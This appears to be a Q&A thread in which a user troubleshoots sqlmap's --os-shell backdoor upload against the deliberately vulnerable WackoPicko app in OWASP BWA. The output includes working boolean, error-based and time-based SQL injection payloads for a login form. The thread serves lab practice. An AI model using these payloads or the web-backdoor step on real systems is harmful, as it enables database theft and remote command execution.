1

I can't get to upload the stager file on the OWASP BWA document root (/var/wwww/WackoPicko/users). I am not sure how to troubleshoot this error.

root  kali:~# sqlmap -u "http://x.x.x.x/WackoPicko/users/login.php"
--data "username=hacker&password=password&submit=login" --os-shell -v 1
--flush-session

    sqlmap/1.0-dev - automatic SQL injection and database takeover tool
    http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior
mutual consent is illegal. It is the end user's responsibility to obey all
applicable local, state and federal laws. Developers assume no liability and
are not responsible for any misuse or damage caused by this program

[*] starting at 11:22:25

[11:22:25] [INFO] testing connection to the target url
[11:22:25] [INFO] heuristics detected web page charset 'None'
sqlmap got a 303 redirect to
'http://x.x.x.x:80/WackoPicko/users/home.php'. Do you want to follow?
[Y/n] Y
redirect is a result of a POST request. Do you want to resend original POST
data to a new location? [Y/n] n
[11:22:32] [INFO] heuristics detected web page charset 'ascii'
[11:22:32] [INFO] testing if the url is stable, wait a few seconds
[11:22:33] [WARNING] POST parameter 'username' does not appear dynamic
[11:22:33] [WARNING] heuristic (parsing) test shows that POST parameter
'username' might not be injectable
[11:22:33] [INFO] testing for SQL injection on POST parameter 'username'
[11:22:33] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[11:22:33] [WARNING] reflective value(s) found and filtering out
[11:22:33] [INFO] POST parameter 'username' is 'AND boolean-based blind -
WHERE or HAVING clause' injectable 
[11:22:34] [INFO] heuristic (extended) test shows that the back-end DBMS
could be 'MySQL' 
do you want to include all tests for 'MySQL' ignoring provided level (1) and
risk (1)? [Y/n] n
[11:22:45] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING
clause'
[11:22:45] [INFO] POST parameter 'username' is 'MySQL >= 5.0 AND error-based
- WHERE or HAVING clause' injectable 
[11:22:45] [INFO] testing 'MySQL inline queries'
[11:22:45] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[11:22:45] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[11:22:55] [INFO] POST parameter 'username' is 'MySQL > 5.0.11 AND
time-based blind' injectable 
[11:22:55] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[11:22:56] [INFO] automatically extending ranges for UNION query injection
technique tests as there is at least one other potential injection technique
found
[11:22:56] [INFO] ORDER BY technique seems to be usable. This should reduce
the time needed to find the right number of query columns. Automatically
extending the range for current UNION query injection technique test
[11:22:56] [INFO] target url appears to have 9 columns in query
injection not exploitable with NULL values. Do you want to try with a random
integer value for option '--union-char'? [Y/n] Y
[11:23:01] [WARNING] if UNION based SQL injection is not detected, please
consider forcing the back-end DBMS (e.g. --dbms=mysql) 
[11:23:01] [INFO] testing 'Generic UNION query (95) - 1 to 20 columns' 
POST parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N sqlmap identified the following injection points with a total of 81 HTTP(s) requests:
---
Place: POST
Parameter: username
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: username=hacker' AND 3230=3230 AND 'YAZW'='YAZW&password=password&submit=login

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: username=hacker' AND (SELECT 1330 FROM(SELECT
COUNT(*),CONCAT(0x3a70636d3a,(SELECT (CASE WHEN (1330=1330) THEN 1 ELSE 0
END)),0x3a7364723a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS
GROUP BY x)a) AND 'Dris'='Dris&password=password&submit=login

    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: username=hacker' AND SLEEP(5) AND
'kgtY'='kgtY&password=password&submit=login
---
[11:23:05] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 10.04 (Lucid Lynx)
web application technology: PHP 5.3.2, Apache 2.2.14
back-end DBMS: MySQL 5.0
[11:23:05] [INFO] going to use a web backdoor for command prompt
[11:23:05] [INFO] fingerprinting the back-end DBMS operating system
[11:23:05] [INFO] the back-end DBMS operating system is Linux
[11:23:05] [INFO] trying to upload the file stager
which web application language does the web server support?
[1] ASP
[2] ASPX
[3] JSP
[4] PHP (default)
|> 4
[11:23:08] [WARNING] unable to retrieve automatically the web server
document root
do you want to provide a text file with a list of directories to try? [y/N] N
please provide the web server document root [/var/www/]:
/var/www/WackoPicko/users
[11:23:26] [WARNING] unable to retrieve automatically any web server path
please provide additional comma separated file paths to try to upload the
agent inside the possible document: 
[11:23:32] [WARNING] unable to upload the file stager on
'/var/www/WackoPicko/users'
[11:23:32] [WARNING] unable to upload the file stager on
'/var/www/WackoPicko/users/WackoPicko/users'
[11:23:32] [WARNING] HTTP error codes detected during run:
404 (Not Found) - 2 times
[11:23:32] [INFO] fetched data logged to text files under './output/x.x.x.x'

[*] shutting down at 11:23:32
  • 1
    Is the path /var/www/WackoPicko/users definitely correct? Maybe try a different path - does the www-data user have permission to write? – SilverlightFox Aug 14 '14 at 10:19
  • It is correct and I tried different paths. I verified the permissions for www-data and it was correct as well. It's OWASPbwa out of the box, so I think it should be fine. I can see that /var/www/WackoPicko has a symbolic link. Do you think it has to do with the error?. – c0ldhand Aug 14 '14 at 12:52
  • Try read file and write file commands. – Kasun Aug 14 '14 at 17:27
  • @SilverlightFox The database user needs to have write permissions. – Gumbo Oct 21 '14 at 4:48
4

Run the SQLMap with higher verbose level, like -v3 or -v6.

-v3 will show the requests SQLMap makes and you should be able to determine (or update your question) with more specific info on what generates the HTTP 404 response.

-v6 will (obviously) be even more chatty if -v3 won't show enough.

Based on that we can move on.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.